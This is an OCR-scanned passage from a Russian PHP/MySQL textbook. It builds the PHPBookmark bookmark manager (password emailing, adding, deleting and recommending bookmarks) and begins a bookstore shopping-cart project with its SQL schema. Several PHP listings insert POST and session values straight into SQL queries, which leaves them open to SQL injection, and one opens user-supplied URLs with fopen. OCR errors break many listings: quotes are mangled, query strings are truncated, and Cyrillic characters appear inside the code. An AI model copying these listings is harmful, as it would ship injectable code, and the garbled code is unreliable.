Чтобы получить случайное слово из файла, выбирается случайная позиция в диапазоне от 0 до значения размера файла, и затем из нее производится чтение. В таком случае, вероятнее всего, будет прочитана часть слова, поэтому текущая строка пропускается и выбирается следующее слово путем двукратного вызова функции fgets (). Эта функция обладает двумя интересными особенностями. Во-первых, если в про- цессе поиска слова достигается конец файла, выполняется переход на его начало: if (feof($fp)) { fseek($fp, 0); // если достигнут конец файла словаря, // перейти на его начало } Во-вторых, осуществляется поиск слова определенной длины. Проверяется длина каждого слова, извлекаемого из словаря, при этом если она не находится в диапазоне значений от $min_length до $max_length, поиск продолжается. В то же время, вы- полняется анализ слова вместе с апострофами (одинарными кавычками), которые оно может содержать. Конечно, мы могли бы отменить их перед использованием слова, однако тем самым бы несколько усложнили процесс получения следующего слова. Давайте вернемся к функции reset password (). После того как мы сгенериро- вали новый пароль, происходит обновление базы данных и возврат нового пароля главному сценарию. Затем этот пароль передается в функцию notify_password (), которая отправит его пользователю по электронной почте. Рассмотрим функцию notify password (), код которой показан в листинге 27.20. Листинг 27.20. Функция notify_jpassword() из библиотеки user_auth_fns .php — эта функция отправляет пользователю по электронной почте новый пароль function notify_password($username, $password) { // Уведомляет пользователя о том, что его пароль изменен $conn = db__connect () ; $result = $conn->query("select email from user where username= .$username." ; if (!$result) { throw new Exception(’Адрес электронной почты не найден.’); } else if ($result->num_rows == 0) { throw new Exception(’Адрес электронной почты ’ . 'не найден.’); // имя пользователя отсутствует в БД } else { $row = $result->fetch_object(); $email = $row->email; $from = "From: support@phpbookmark \r\n"; $mesg = "Ваш пароль для входа в систему PHPBookmark изменен на " .$password."\г\п" ."Пожалуйста, учтите это при будущем входе в систему.\г\п"; if (mail($email, ’Информация о входе в систему PHPBookmark', $mesg, $from)) { return true; } else { throw new Exception(’He удается отправить электронную почту.’); } } } 558 Часть V. Реальные проекты на РНР и MySQL
Функция notify_password () по имени пользователя и новому паролю выполняет поиск адреса электронной почты в базе данных и с помощью PHP-функции mail () отправляет пароль пользователю по электронной почте. Гораздо безопаснее предоставить пользователю действительно случайный пароль, составленный из комбинации букв верхнего и нижнего регистра, чисел и знаков пунктуации, вместо случайного слова и числа. Однако пароль вроде zigzag487 поль- зователю будет проще читать и печатать, чем случайный набор символов. В таком наборе зачастую трудно различать нули (0) и прописные буквы О, а также единицы (1) и строчные буквы 1. В нашей системе файл словаря содержит приблизительно 45 000 слов. Если даже взломщик знает способ построения пароля и точное имя пользователя, то ему и то- гда придется угадать один из приблизительно 22 500 000 вариантов. Такой уровень безопасности вполне достаточен для приложений данного типа, даже если пользова- тели оставляют без внимания сообщения электронной почты с предложением сме- нить пароль. Реализация хранения и извлечения закладок Имея в своем распоряжении функциональность, связанную с пользовательскими учетными записями, теперь можно ознакомиться с методами хранения, извлечения и удаления закладок. Добавление закладок Для добавления закладок можно щелкнуть на ссылке Добавить закладку в пользо- вательском меню. В результате отображается форма, показанная на рис. 27.9. Не Edit Йе» Hilary Bookmarks Tools Help ifell * C? to J http:$ocaihos^^ PHPbookmark Добавление закладок Вы вошли в систему под именем neverbeen. Новая ‘ закладка: htt₽7' [ Добавить закладку Главная I Добавить закладку I | Сменить пароль Рекомендовать адреса мне I Выход Done Рис. 27.9. Сценарий add_bm_form.php предоставляет форму для добавления закладок Этот сценарий также прост и использует лишь функции вывода. Поэтому его код здесь подробно не рассматривается. После отправки формы вызывается сценарий add bms.php, показанный в листинге 27.21. Глава 27. Реализация задачи аутентификации и персонализации посетителей 559
Листинг 27.21. add_bms .php — этот сценарий добавляет новые закладки на персональную страницу пользователя <?php require_once(*bookmark_fns.php’); session_start(); / / Создать короткие имена переменных $new_url = $_POST['new_url']; do_html_header(’Добавление закладок’); try { check_valid_user(); if (!filled_out($_POST)) { throw new Exception(’Форма заполнена не полностью.'); } // Проверить формат URL if (strstr($new_url, ’http://’) === false) { $new_url = ’http://’.$new_url; } // Проверить допустимость URL if (!(@fopen($new_url, ’r’))) { throw new Exception('Недопустимый URL-адрес.’); } // Попытаться добавить закладку add_bm($new_url); echo ’Закладка добавлена.’; // Получить закладки, сохраненные данным пользователем if ($url_array = get_user_urls($_SESSION['valid_user’])) { display_user_urls($url_array); I } catch (Exception $e) { echo $e->getMessage (); } display_user_menu(); do_html_footer(); ?> Опять-таки, этот сценарий также выполняет проверку допустимости данных, за- пись в базу данных и вывод информации. Для проверки допустимости данных сначала с помощью функции filled out () определяется, заполнил ли пользователь форму. Затем выполняются две проверки URL-адреса. Вначале с помощью функции strstr () мы определяем, начинается ли адрес с последовательности http://. Если нет, она добавляется в начало адреса. После этого осуществляется проверка, существует ли в действительности данный адрес. Как упоминалось в главе 20, функция fopen () позволяет открыть URL-адрес, начинающийся с последовательности http: / /. Если открыть файл удается, мы пред- полагаем, что URL-адрес корректен, и после этого вызываем функцию add_bm () для его сохранения в базе данных. 560 Часть V. Реальные проекты на РНР и MySQL
Эта и другие функции, связанные с закладками, содержатся в библиотеке ur If ns. php. Код функции add_bm() представлен в листинге 27.22. Листинг 27.22. Функция add_bm() из библиотеки url_fns.php — эта функция заносит в базу данных новую закладку function add_bm($new_url) { // Добавляет новую закладку в базу данных echo "Попытка добавления ".htmlspecialchars($new_url).'<br />’; $valid_user = $_SESSION[’valid_user']; $conn = db_connect(); // Проверить, существует ли такая закладка $result = $conn->query("select * from bookmark where username=’$valid_user’ and bm_URL=’".$new_url if ($result && ($result->num_rows>0)) { throw new Exception('Такая закладка уже существует. } // Вставить новую закладку if (!$conn->query("insert into bookmark values ( ”’.$valid_user."’, ’".$new_url."')") ) { throw new Exception('He удается вставить закладку в базу данных.'); } return true; } Как видите, функция add__bm () достаточно проста. Она проверяет, что данная закладка не содержится в базе данных. (Хотя маловероятно, что закладка будет вво- диться дважды, вполне возможен случай, когда пользователь обновляет страницу, на- жимая кнопку обновления в браузере.) Если закладка новая, она сохраняется в базе данных. Вернемся к сценарию add__bms. php. Как и в сценарии member .php, его последними операциями являются вызовы функций get_user_urls () и display_user_urls (). Эти функции будут рассматриваться ниже. Отображение закладок В сценарии member, php и в функции add _bm () использовались функции get user urls () и display user urls (). Они осуществляют, соответственно, из- влечение закладок из базы данных и их отображение. Функция get_user_urls () содержится в библиотеке url fns .php, a display user urls () — в библиотеке output_fns.php. Код функции get user urls () приведен в листинге 27.23. Листинг 27.23. Функция get__user__urls () из библиотеки url__fns .php — эта функция извлекает закладки пользователя из базы данных function get_user_urls($username) { // Извлекает из базы данных все сохраненные пользователем URL-адреса $conn = db_connect(); Глава 27. Реализация задачи аутентификации и персонализации посетителей 561
$result = $conn->query("select bm_URL from bookmark where username = ’".Susername if (!$result) { return false; } // Создать массив URL-адресов $url_array = array(); for ($count = 1; $row = $result->fetch_row(); ++$count) { $url_array[$count] = $row[0]; } return $url_array; }; Давайте кратко рассмотрим функцию get user urls (). Она принимает в каче- стве параметра имя пользователя и извлекает для него закладки из базы данных. Функция возвращает массив URL-адресов либо значение false, если закладки не мо- гут быть извлечены. Результирующий массив URL-адресов может передаваться из функции get user urls () в функцию display user urls (). Это простая функция вывода HTML-содержимого, выполняющая печать URL-адресов в привлекательном табличном формате. Она здесь не рассматривается. Если вы хотите посмотреть, как выглядит вывод, вернитесь еще раз к рис. 27.6. Функция просто помещает URL-адреса в форму. Рядом с каждым URL- адресом находится флажок, который позволяет пометить закладку и затем удалить ее. А сейчас мы рассмотрим вопросы, связанные с удалением закладок. Удаление закладок Когда пользователь помечает некоторые закладки с целью их дальнейшего удале- ния и выбирает из меню опцию Удалить закладку (Delete ВМ), выполняется отправ- ка формы, которая содержит соответствующие URL-адреса. Каждый флажок генери- руется с помощью следующего кода функции display user urls (): echo "<tr bgcolor=\"".$color."\"><td> <a href=\"".$url..htmlspecialchars($url)."</a></td> <tdxinput type=\"checkbox\" name=\"del_me [ ]\" value=\"".$url."\"/></td></tr>"; Именем каждого флажка является del me [ ]. Это означает, что если форма запус- кает PHP-сценарий, будет осуществляться доступ к массиву $del_me, который содер- жит все удаляемые закладки. Выбор опции Удалить закладку приводит к запуску сценария delete bms .php, ко- торый показан в листинге 27.24. Листинг 27.24. delete bms .php — этот сценарий удаляет закладки из базы данных <?php require_once(*bookmark_fns.php*); session_start(); // Создать короткие имена переменных $del_me = $_POST[’del_me']; $valid_user = $_SESSION[’valid_user']; do_html_header(’Удаление закладок*); 562 Часть V. Реальные проекты на РНР и MySQL
check_valid_user(); if (!filled_out($_POST)) { echo ’He выбрано ни одной закладки для удаления. ’ .’Пожалуйста, повторите попытку.'; display_user_menu(); do_html_footer(); exit; } else { if (count($del_me) >0) { foreach($del_me as $url) { if (delete_bm($valid_user, $url)) { echo 'Удалена ’.htmlspecialchars ($url). ' .<br />’; } else { echo ’Невозможно удалить ’.htmlspecialchars($url).’.<br />' ; } } } else { echo ’He выбрано ни одной закладки для удаления’; } } // Получить закладки, сохраненные данным пользователем if ($url_array = get_user_urls($valid_user)); display_user_urls($url_array); display_user_menu(); do_html_footer (); ?> Сценарий начинается с уже традиционной проверки данных на предмет допусти- мости. Когда'выясняется, что пользователь выбрал несколько закладок для удаления, их удаление выполняется в следующем цикле: foreach($del_me as $url) { if (delete_bm($valid_user, $url)) { echo 'Удалена ' .htmlspecialchars($url).'.<br />'; } else { echo 'Невозможно удалить '.htmlspecialchars($url).'.<br />'; } } Несложно заметить, что функция delete_bm() выполняет удаление закладки из базы данных. Ее код можно найти в листинге 27.25. Листинг 27.25. Функция delete_bm() из библиотеки url_fns.php — эта функция удаляет одну закладку из списка пользователя function delete_bm($user, $url) { ** // Удаляет один URL-адрес из базы данных $conn = db_connect(); // Удалить закладку if (!$conn->query("delete from bookmark where username='".$user."' and bm_url='".$url."'")) { throw new Exception('Закладка не может быть удалена.'); } return true; Глава 27. Реализация задачи аутентификации и персонализации посетителей 563
Функция delete bm () также очень проста. Она предпринимает попытку удаления из базы данных закладки, связанной с определенным пользователем. Следует отме- тить, что необходимо удалить определенную пару “имя пользователя — закладка”. Остальные пользователи все еще могут хранить данную закладку. Пример вывода сценария удаления можно посмотреть на рис. 27.10. Рис. 27.10. Сценарий удаления уведомляет пользователя о том, какие закладки удалены, и отображает оставшиеся Как и в сценарии add bms . php, после внесения изменений в базу данных отображается новый список закладок с помощью функций get user urls () и display_user_urls (). Выработка рекомендаций В завершение, мы переходим к сценарию recommend.php, который реализует ре- комендацию ссылок. Существует множество различных способов выработки рекомендаций. Мы решили воспользоваться принципом “сходства образа мышления”. Другими словами, мы должны выполнить поиск других пользователей, у которых хотя бы одна закладка совпадает с за- кладкой данного пользователя. Принцип “сходства образа мышления” предполагает, что их остальные закладки также могут представлять интерес для данного пользователя. Простейший метод реализации этого подхода в SQL-запросе связан с использова- нием подзапросов. Первый подзапрос выглядит следующим образом: select distinct(Ь2.username) from bookmark bl, bookmark b2 where bl.username='".$valid_user."’ and bl.username != b2.username and bl.bm_URL = b2.bm_URL В этом запросе используются псевдонимы для соединения таблицы bookmark базы данных с собой же — странная, но иногда полезная концепция. Предположим, что действительно существуют две таблицы закладок — bl и Ь2. В таблице bl выбираются данные по закладкам для текущего пользователя. В другой таблице просматриваются 564 Часть V. Реальные проекты на РНР и MySQL
закладки всех остальных пользователей. Выполняется поиск других пользователей (Ь2 .username), имеющих закладку (т.е. URL-адрес), совпадающую с закладкой текуще- го пользователя (Ы .bm URL = Ь2 .bm URL). Их имена не должны совпадать с именем текущего пользователя (bl. username ! = Ь2. username). Этот запрос выдаст список пользователей, интересы которых совпадают с интере- сами текущего пользователя. Воспользовавшись полученным списком, можно выпол- нять поиск остальных закладок пользователей, представленных в списке, с помощью следующего внешнего запроса: select bm_URL from bookmark where username in (select distinct(b2.username) from bookmark bl, bookmark b2 where bl.username='".$valid_user."' and bl.username != b2.username and bl.bm_URL = b2.bm_URL) Второй подзапрос служит для фильтрации закладок текущего пользователя; если пользователь уже располагает какой-то закладкой, не имеет смысла рекомендовать ему ее еще раз. Наконец, переменная $popularity добавляет некоторый элемент фильт- рации — не следует рекомендовать “слишком персональные” закладки. Выбираются лишь те URL-адреса, которые сохранены определенным числом других пользовате- лей. В конечном итоге запрос приобретает следующий вид: select bm_URL from bookmark where username in (select distinct(b2.username) from bookmark bl, bookmark b2 where bl.username='".$valid_user.”' and bl.username != b2.username and bl.bm_URL = b2.bm_URL) and bm_URL not in (select bm_URL from bookmark where username='".$valid_user."’) group by bm_url having count(bm_url)>".$popularity; Если ожидается регистрация в системе большого количества посетителей, мож- но увеличить значение переменной $popularity, тем самым рекомендуя лишь такие URL-адреса, которые были сохранены большим числом пользователей. Эти адреса должны оказаться наиболее интересными и отвечать более широкому спектру инте- ресов по сравнению с обычными Web-страницами. Полный код сценария выработки рекомендаций приведен в листингах 27.26 и 27.27. Главный сценарий называется recommend. php (листинг 27.26). Он обращается к функции recommend urls () из библиотеки url fns .php (листинг 27.27). •к Листинг 27.26. recommend.php — этот сценарий предлагает пользователю ссылки, которые могут заинтересовать пользователя <?php require_once('bookmark_fns.php’); session_start(); Глава 27. Реализация задачи аутентификации и персонализации посетителей 565
do_html_header('Рекомендация URL-адресов’); try { check_valid_user(); $urls = recommend_urls($_SESSION[’valid_user']); displ%y_recommended_urls($urls); catch(Exception $e) { echo $e->getMessage(); display_user_menu(); do_html_footer(); Листинг 27.27. Функция recommend__urls() из библиотеки url_fns.php — эта функция вырабатывает рекомендации для конкретного пользователя function recommend_urls($valid_user, $popularity = 1) { //Мы попытаемся обеспечить для пользователей выдачу *полуинтеллектуальных* // рекомендаций. Если пользователи имеют URL-адрес, совпадающий с закладками // других пользователей, их могут заинтересовать и прочие URL-адреса, // которые имеют другие пользователи $conn = db_connect(); // Найти других пользователей, закладки которых // совпадают с закладкой текущего пользователя. //В качестве простейшего способа исключения из рассмотрения // приватных страниц посетителей, а также для более совершенной // рекомендации мы устанавливаем минимальный уровень популярности. // Если $popularity = 1, могут рекомендоваться лишь // адреса, сохраненные более чем одним пользователем $query = "select bm_URL from bookmark where username in (select distinct(b2.username) from bookmark bl, bookmark b2 where bl.username='".$valid_user."' and bl.username != b2.username and bl.bm_URL = b2.bm_URL) and bm_URL.not in (select bm_URL from bookmark where username='".$valid_user."') group by bm_url having count(bm_url)>".$popularity; if (!($result = $conn->query($query))) { throw new Exception('He удается найти закладки для рекомендации.’); } if ($result->num_rows==0) { throw new Exception('He удается найти закладки для рекомендации.’); } $urls = array(); // Сформировать массив подходящих URL-адресов for ($count=0; $row = $result->fetch_object (); $count++) { $urls[$count] = $row->bm_URL; } return $urls; 566 Часть V. Реальные проекты на РНР и MySQL
Пример вывода сценария recommend. php показан на рис. 27.11. Вы вошли в систему под именем neverbeen | Сменить пароль Рекомендации http //www. amazon.com Рекомендация URL-адрссов- Mozilafirefox I Не gdit View History gookrnarks loots Hefc> Рис. 27.11. Сценарий рекомендует пользователю сайт amazon.com. Этот адрес был сохранен, по меньшей мере, двумя другими пользователями Рекомендация URL-адресов Главная| Добавить закладку j Рекомендовать адреса мне j Выход Возможные расширения В предшествующих разделах мы рассмотрели базовые функциональные возможно- сти приложения PHPBookmark. Ниже представлен список возможных расширений. Группирование закладок по темам. Реализация в функции выдачи рекомендаций ссылки Добавить это к моим закладкам. Выдача рекомендаций, основанных на наиболее популярных URL-адресах в базе данных либо на определенной теме. Интерфейс для администрирования пользователей и тем. Методы повышения “интеллектуальности” либо быстродействия закладок. Дополнительная проверка вводимой пользователями информации на предмет ошибок. Что ж, экспериментируйте! Вряд ли можно найти лучший метод изучения. Что дальше В следующем проекте мы создадим покупательскую тележку, которая даст пользова- телям возможность просматривать сайт, добавлять товары, подсчитывать общую сум- му и, в конечном итоге, осуществлять электронный платеж за отобранные товары. Глава 27. Реализация задачи аутентификации и персонализации посетителей 567
28 Разработка покупательской тележки В этой главе исследуются базовые методы создания покупательских тележек. Мы добавим эту функциональность к базе данных “Буквофил”, которая разрабаты- валась на протяжении второй части книги. Мы также рассмотрим и еще одну воз- можность, связанную с установкой и использованием существующей покупательской тележки на РНР с открытым исходным кодом. Если вам еще не доводилось сталкиваться с термином покупательская тележка (shop- ping cart), на который иногда еще ссылаются, как на корзину для покупок (shopping basket), то отметим, что упомянутый термин описывает специальный онлайновый механизм осуществления покупок. В процессе просмотра некоторого онлайнового каталога товаров вы можете до- бавлять в свою тележку отдельные позиции (наименования товаров). По завершении просмотра вы производите расчет с онлайновым магазином, т.е., по сути дела, приоб- ретаете товар, ранее помещенный вами в тележку. Для построения покупательской тележки будут реализованы следующие функцио- нальные возможности. База данных продуктов, которые будут продаваться в онлайновом магазине. Онлайновый каталог товаров с разбивкой по категориям. Покупательская тележка, позволяющая отслеживать товар, выбираемый пользо- вателем с целью его приобретения. Сценарий окончательного расчета, который обрабатывает детали платежа и доставки товаров. Интерфейс администрирования. Компоненты решения Вероятно, вы помните базу данных “Буквофил”, которая разрабатывалась во вто- рой части книги. В текущем проекте мы найдем ей применение. При построении компонентов решения преследуются перечисленные ниже основные цели. 568 Часть V. Реальные проекты на РНР и MySQL
Необходимо найти способ подключения базы данных к браузеру пользователя. Пользователи должны иметь возможность просматривать товарные позиции каталога, разбитые по категориям. Пользователи должны иметь возможность выбирать товарные позиции из ка- талога с целью дальнейшего приобретения. Необходимо располагать каким-ни- будь механизмом отслеживания выбранных позиций. После завершения покупок должен выполняться подсчет общей суммы заказа, прием сведений для доставки и обработка платежа. Необходимо создать интерфейс администрирования сайта “Буквофил”. Администратор сайта должен иметь возможность добавления и редактирова- ния информации о книгах и категориях. Теперь, когда идея, лежащая в основе проекта, известна, можно приступать к раз- работке решения и его компонентов. Построение онлайнового каталога Для хранения каталога магазина “Буквофил” база данных уже существует. Тем не менее, для данного приложения потребуется внести некоторые изменения и добавле- ния. Одно из них предполагает определение категорий книг, как гласят требования. Кроме того, потребуется добавить в существующую базу данных информацию, свя- занную с адресами доставки, условиями платежа и т.д. Мы уже знаем, как средствами РНР реализовать интерфейс с базой данных MySQL, потому эта часть решения не должна вызывать особых затруднений. Кроме того, для завершения обработки заказов должны применяться транзакции. Для этого потребуется преобразовать таблицы базы данных “Буквофил” к типу хране- ния InnoDB. Сам процесс преобразования очень прост. Отслеживание выбираемого товара Существуют два базовых метода отслеживания товаров, выбираемых посетителя- ми. Один из них состоит в помещении выбираемых элементов в базу данных, а вто- рой — в использовании переменной сеанса. Использование переменной сеанса для отслеживания выбираемых элементов в процессе переходов между страницами гораздо проще в реализации, поскольку не требует постоянных запросов к базе данных. Кроме того, этот метод позволяет избе- жать загромождения базы данных ненужными данными, поступающими от посетите- лей, которые просто просматривают каталог и очень часто меняют свои решения. Таким образом, нам потребуется разработать переменную сеанса или, возможно, набор переменных для хранения выбранных пользователем элементов. Когда поль- зователь завершает посещение магазина и выполняет окончательный расчет, эта ин- формация помещается в базу данных в виде записи, регистрирующей транзакцию. Кроме того, эти данные могут использоваться для отображения в углу страницы текущего состояния тележки, чтобы посетитель в любой момент мог видеть пред- стоящую сумму расходов. Глава 28. Разработка покупательской тележки 569
Реализация платежной системы В этом проекте мы добавляем только механизм приема заказа от посетителя и сведений, касающихся доставки. Реальная обработка платежей здесь не выполня- ется. Существует большое разнообразие платежных систем, при этом для каждой из них характерна собственная реализация. Для целей данного проекта мы напи- шем фиктивную функцию, которую впоследствии можно будет заменить интерфей- сом к любой выбранной платежной системе. Несмотря на существование множества платежных шлюзов, доступных для ис- пользования, а также интерфейсов к этим шлюзам, функциональность, лежащая в основе обработки кредитных карточек в реальном времени, практически одна и та же. Необходимо открыть торговый счет в банке для карточек, которые плани- руется принимать, при этом банк, как правило, имеет список рекомендуемых по- ставщиков для платежных систем. Выбранный поставщик для платежной системы специфицирует параметры, которые необходимо передавать его платежной сис- теме, а также порядок взаимодействия с ней. Многие платежные системы пред- лагают образцы кода на РНР, которыми можно заменить фиктивную функцию, создаваемую в этой главе. Платежная система будет передавать данные в банк и возвращать код успешного выполнения либо один из множества различных кодов ошибок. В обмен на передачу данных платежная система будет взимать плату за установку либо годовую плату, а также сбор, основанный на количестве или сумме транзакций. Некоторые поставщи- ки назначают определенную плату даже за отклоненные транзакции. Как минимум, платежной системе необходима информация о клиенте (например, номер кредитной карточки), идентификационная информация от вас как владельца магазина (чтобы указать, какой торговый счет будет кредитоваться), а также общая сумма транзакции. Сумму заказа можно извлечь из переменной сеанса покупательской тележки. Окончательная информация по заказу будет занесена в базу данных, а переменная сеанса после этого будет удалена. Разработка интерфейса администрирования Помимо платежной системы и прочих элементов, необходимо предусмотреть ин- терфейс администрирования, который позволил бы добавлять, удалять и редактиро- вать информацию о книгах и категориях в базе данных. Одним из часто используемых элементов редактирования является изменение цены товара (например, для специальных предложений или продаж со скидкой). Это означает, что сохранение заказа клиента предусматривает и сохранение цены, которая должна быть уплачена за товар. Если записи отражают лишь позиции, зака- занные каждым клиентом, и текущую цену каждого наименования, это существенно усложнит систему бухгалтерского учета, доводя до “белого каления” главного бухгал- тера (да и не только его). Кроме того, это означает, что когда клиент возвращает или обменивает товар, возможно, ему будут возвращаться лишние денежные средства, если, например, он приобретал что-то во время акции и затем по какой-то причине отказался от покупки. В данном примере мы не планируем создавать полноценный интерфейс отслежи- вания заказов и реализации. Понятно, что вы сможете без особого труда добавить его в систему, если в этом возникнет настоятельная необходимость. 570 Часть V. Реальные проекты на РНР и MySQL
Обзор решения Давайте попытаемся свести все воедино. Су- ществуют два основных представления системы: пользовательское и.администраторское. С учетом необходимых функциональных возможностей под- готовлены две блок-схемы системы — по одной для каждого представления. Эти блок-схемы показаны на рис. 28.1 и 28.2. На рис. 28.1 показаны главные ссылки между сценариями в той части сайта, которая касается пользователя. Клиент сначала открывает главную страницу, в которой перечислены все категории книг на сайте. Отсюда можно перейти к опреде- ленной категории книг, а затем и к информации по отдельной книге. Мы предоставим пользователю ссылку, которая даст возможность добавить выбранную книгу в те- лежку. На этапе работы с тележкой можно произ- вести окончательный расчет и покинуть магазин. На рис. 28.2 показан интерфейс администрато- ра. Он содержит большее число сценариев, но не особенно много нового кода. Эти сценарии позво- ляют администратору входить в систему и добав- Рис. 28.1. Система “Буквофил” в пользовательском представлении дает возможность просматривать книги по категориям вместе со сведениями о них, добавлять книги в тележку и приобретать их лять новые книги и категории. Простейший способ реализовать редактирование и удаление книг и категорий со- стоит в том, чтобы отобразить для администратора несколько отличную версию ин- терфейса пользователя сайта. Администратор по-прежнему будет иметь возможность просматривать категории и книги, но вместо доступа к покупательской тележке он может переходить к определенной книге или категории, а затем редактировать либо удалять ее. Рис. 28.2. Система “Буквофил” в администраторском представлении позволяет добавлять, редактировать и удалять книги и категории Глава 28. Разработка покупательской тележки 571
Разработка сценариев, одновременно пригодных как для обычных пользователей, так и для администраторов, позволяет сэкономить время и трудозатраты. Тремя основными модулями кода для данного приложения являются: каталог; покупательская тележка и обработка заказа (мы решили объединить здесь эти функции, поскольку они тесно взаимосвязаны); администрирование. Как и в предыдущем проекте (глава 27), мы планируем создать и использовать на- бор библиотек функций. В этом проекте применяется API-интерфейс функций, по- добный тому, который применялся в предыдущем проекте. Мы попытаемся объеди- нить фрагменты кода, отвечающие за вывод HTML-содержимого, в одну библиотеку. Это должно полностью соответствовать принципу разделения логики и содержимого и, что еще важнее, такой подход упростит чтение и сопровождение кода. Кроме того, потребуется внести небольшие изменения в базу данных “Буквофил”. База данных book sc (Shopping Cart — тележка для покупок) переименована для того, чтобы отличать базу данных покупательской тележки от базы, созданной во второй части книги. Весь код данного проекта доступен для загрузки. Полный перечень файлов прило- жения можно найти в табл. 28.1. Таблица 28.1. Файлы приложения покупательской тележки Имя Модуль Описание index.php Каталог Титульная страница сайта. Отображает спи- сок категорий системы. show_cat.php Каталог Страница, которая отображает для посети- теля все книги определенной категории. show_book.php Каталог Страница, которая отображает для посетите- ля информацию по определенной книге. show_cart.php Покупательская тележка Страница, которая отображает для посетите- ля содержимое покупательской тележки. Кроме того, она используется для добавления элемен- тов в тележку. checkout.php Покупательская тележка Страница, которая представляет пользова- телю полную информацию по заказу. Она также принимает информацию, связанную с доставкой. purchase.php Покупательская тележка Страница, которая принимает от пользовате- ля информацию, касающуюся платежа. process.php Покупательская тележка Сценарий, который обрабатывает данные платежа и добавляет заказ в базу данных. login.php Администрирование Сценарий, который позволяет администратору входить в систему для внесения изменений. logout.php Администрирование Сценарий, который реализует выход админи- стратора из системы. admin.php Администрирование Главное меню администрирования. 572 Часть V. Реальные проекты на РНР и MySQL
Окончание табл. 28.1 Имя Модуль Описание change_password_form.php Администрирование Форма, позволяющая администратору из- менять свой пароль. change_password.php * Администрирование Сценарий, который изменяет пароль адми- нистратора. insert—category_form.php Администрирование Форма, позволяющая администратору до- бавлять в базу данных новую категорию. insert_category.php Администрирование Сценарий, который вставляет новую катего- рию в базу данных. insert_book_form.php Администрирование Форма, позволяющая администратору до- бавлять в систему новую книгу. insert_book.php Администрирование Сценарий, который добавляет новую книгу в базу данных. edit_category_form.php Администрирование Форма, позволяющая администратору ре- дактировать категорию. edit_category.php Администрирование Сценарий, который обновляет категорию в базе данных. edit_book_form.php " Администрирование Форма, позволяющая администратору редак- тировать детальную информацию о книге. edit_book.php Администрирование" Сценарий, который обновляет информацию о книге в базе данных. delete_category.php Администрирование Сценарий, который удаляет категорию из базы данных. delete_book.php Администрирование Сценарий, который удаляет книгу из базы данных. book_sc_fns.php Функции Набор включаемых файлов. admin_fns.php Функции Набор функций, используемых сценариями администрирования. book_fns.php Функции Набор функций хранения и извлечения дан- ных о книгах. order_fns.php Функции Набор функций хранения и извлечения ин- формации, связанной с заказом. output_fns.php Функции Набор функций вывода HTML-содержимого. data_valid_fns.php Функции Набор функций проверки допустимости вводимых данных. db_fns.php Функции Набор функций для подключения к базе данных book—sc. user_auth_fns.php Функции Набор функций аутентификации пользова- телей-администраторов. book—sc.sql SQL SQL-код для создания базы данных book sc. populate.sql SQL SQL-код для помещения тестовой информа- ции в базу данных book sc. Глава 28. Разработка покупательской тележки 573
Давайте приступим к рассмотрению реализации каждого из перечисленных в табл. 28.1 модулей. На заметку! Это приложение содержит довольно-таки большой объем кода. Большая часть кода реализует функциональные возможности, которые были изучены ранее (в частности, в главе 27). К этим частям кода относится хранение данных и извлечение информации из базы данных, а также ау- тентификация администратора. Этот код рассматривается достаточно кратко, а вот основная часть времени уделяется собственно функциям работы с покупательской тележкой. Создание базы данных Как упоминалось ранее, в базу данных “Буквофил”, представленную во второй час- ти, должны быть внесены небольшие изменения. SQL-код создания базы данных book sc приведен в листинге 28.1. Листинг 28.1. book_sc. sql — SQL-код создания базы данных book_sc create database book_sc; use book_sc; create table customers ( customerid int unsigned not null auto_increment primary key, name char(60) not null, address char (80) not null, city char (30) not null, state char (20), zip char (10), country char (20) not null ) type=InnoDB; create table orders ( orderid int unsigned not null auto_increment primary key, customerid-int unsigned not null references customers(customerid), amount float (6,2), date date not null, order_status char (10), ship_name char(60) not null, ship_address char (80) not null, ship_city char (30) not null, ship_state char (20), ship_zip char(10), ship_country char(20) not null ) type=InnoDB; create table books ( isbn char (13) not null primary key, author char (100), title char(100), catid int unsigned, price float (4,2) not null, description varchar(255) ) type=InnoDB; 574 Часть V. Реальные проекты на РНР и MySQL
create table categories ( ' catid int unsigned not null auto_increment primary key, catname char (60) not null ) type=InnoDB; create table order_items ( orderid int unsigned not null references orders(orderid) , isbn char(13) not null references books(isbn), item_price float (4,2) not null, quantity tinyint unsigned not null, primary key (orderid, isbn) ) type=InnoDB; create table admin ( username char(16) not null primary key, password char (40) not null ) ; grant select, insert, update, delete on book_sc.★ to book_sc@localhost identified by 'password*; Несмотря на то что оригинальный пользовательский интерфейс приложения “Буквофил” подходит практически полностью, возникает несколько дополнительных требований, которые вызваны необходимостью доступа к базе данных в онлайновом режиме. В первоначальную базу данных были внесены следующие изменения. Добавлены дополнительные поля под адреса клиентов. Это особенно важно сейчас, когда создается более реалистичное приложение. Добавлен адрес доставки заказа. Контактный адрес клиента не всегда совпадает с адресом доставки, особенно когда приобретаются подарки для кого-то. Добавлена новая таблица категорий (categories), а в таблицу книг (books) до- бавлено поле идентификатора категории (catid). Сортировка книг по катего- риям должна упростить просмотр сайта. В таблицу order iterns добавлено поле item price, которое хранит цену това- ра. Тем самым мы учитываем возможность изменения цены товара. Необходимо знать цену товара на момент, когда клиент его заказывает. Добавлена таблица admin для хранения входного имени и пароля администра- тора. Удалена таблица рецензий. Рецензии можно реализовать как расширение про- екта. Вместо этого для каждой книги существует поле описания, которое содер- жит краткую аннотацию. Изменен механизм хранения на InnoDB. В результате появляется возможность использовать внешние ключи и транзакции. Глава 28. Разработка покупательской тележки 575
Для того чтобы создать в системе базу данных, в среде MySQL потребуется выполнить сценарий book sc.sql, обладая правами привилегированного пользователя (root): mysql -u root -p < book_sc.sql (Потребуется ввести пароль привилегированного пользователя.) До этого момента необходимо изменить пароль пользователя book sc на что- нибудь, отличное от ’password’. Не забудьте после изменения пароля в файле book_sc.sql внести также соответствующие коррективы в файл db fns.php. (В ка- ких конкретно местах должны вноситься изменения, мы рассмотрим чуть позже.) Кроме того, мы подготовили файл тестовых данных, который имеет имя populate. sql. Тестовые данные можно занести в базу данных, выполнив этот сцена- рий в среде MySQL. Реализация онлайнового каталога Разрабатываемое приложение содержит три сценария, связанных с каталогом: главная страница, страница категорий и страница информации о книге. Титульная страница сайта генерируется сценарием index. php. Вывод этого сцена- рия можно видеть на рис. 28.3. Рис. 28.3. На титульной странице сайта находится список категорий книг, доступных для приобретения Несложно заметить, что кроме списка категорий окно содержит кнопку вызова покупательской тележки (в правом верхнем углу) и итоговые данные по содержимо- му тележки. Эти элементы содержатся на каждой странице, открываемой в процессе просмотра и выбора товара. Как только пользователь выполняет щелчок на одной из категорий, открывается страница категорий, генерируемая сценарием show cat .php. Например, на рис. 28.4 показана страница категорий для книг, посвященных тематике Интернет. Все книги из категории 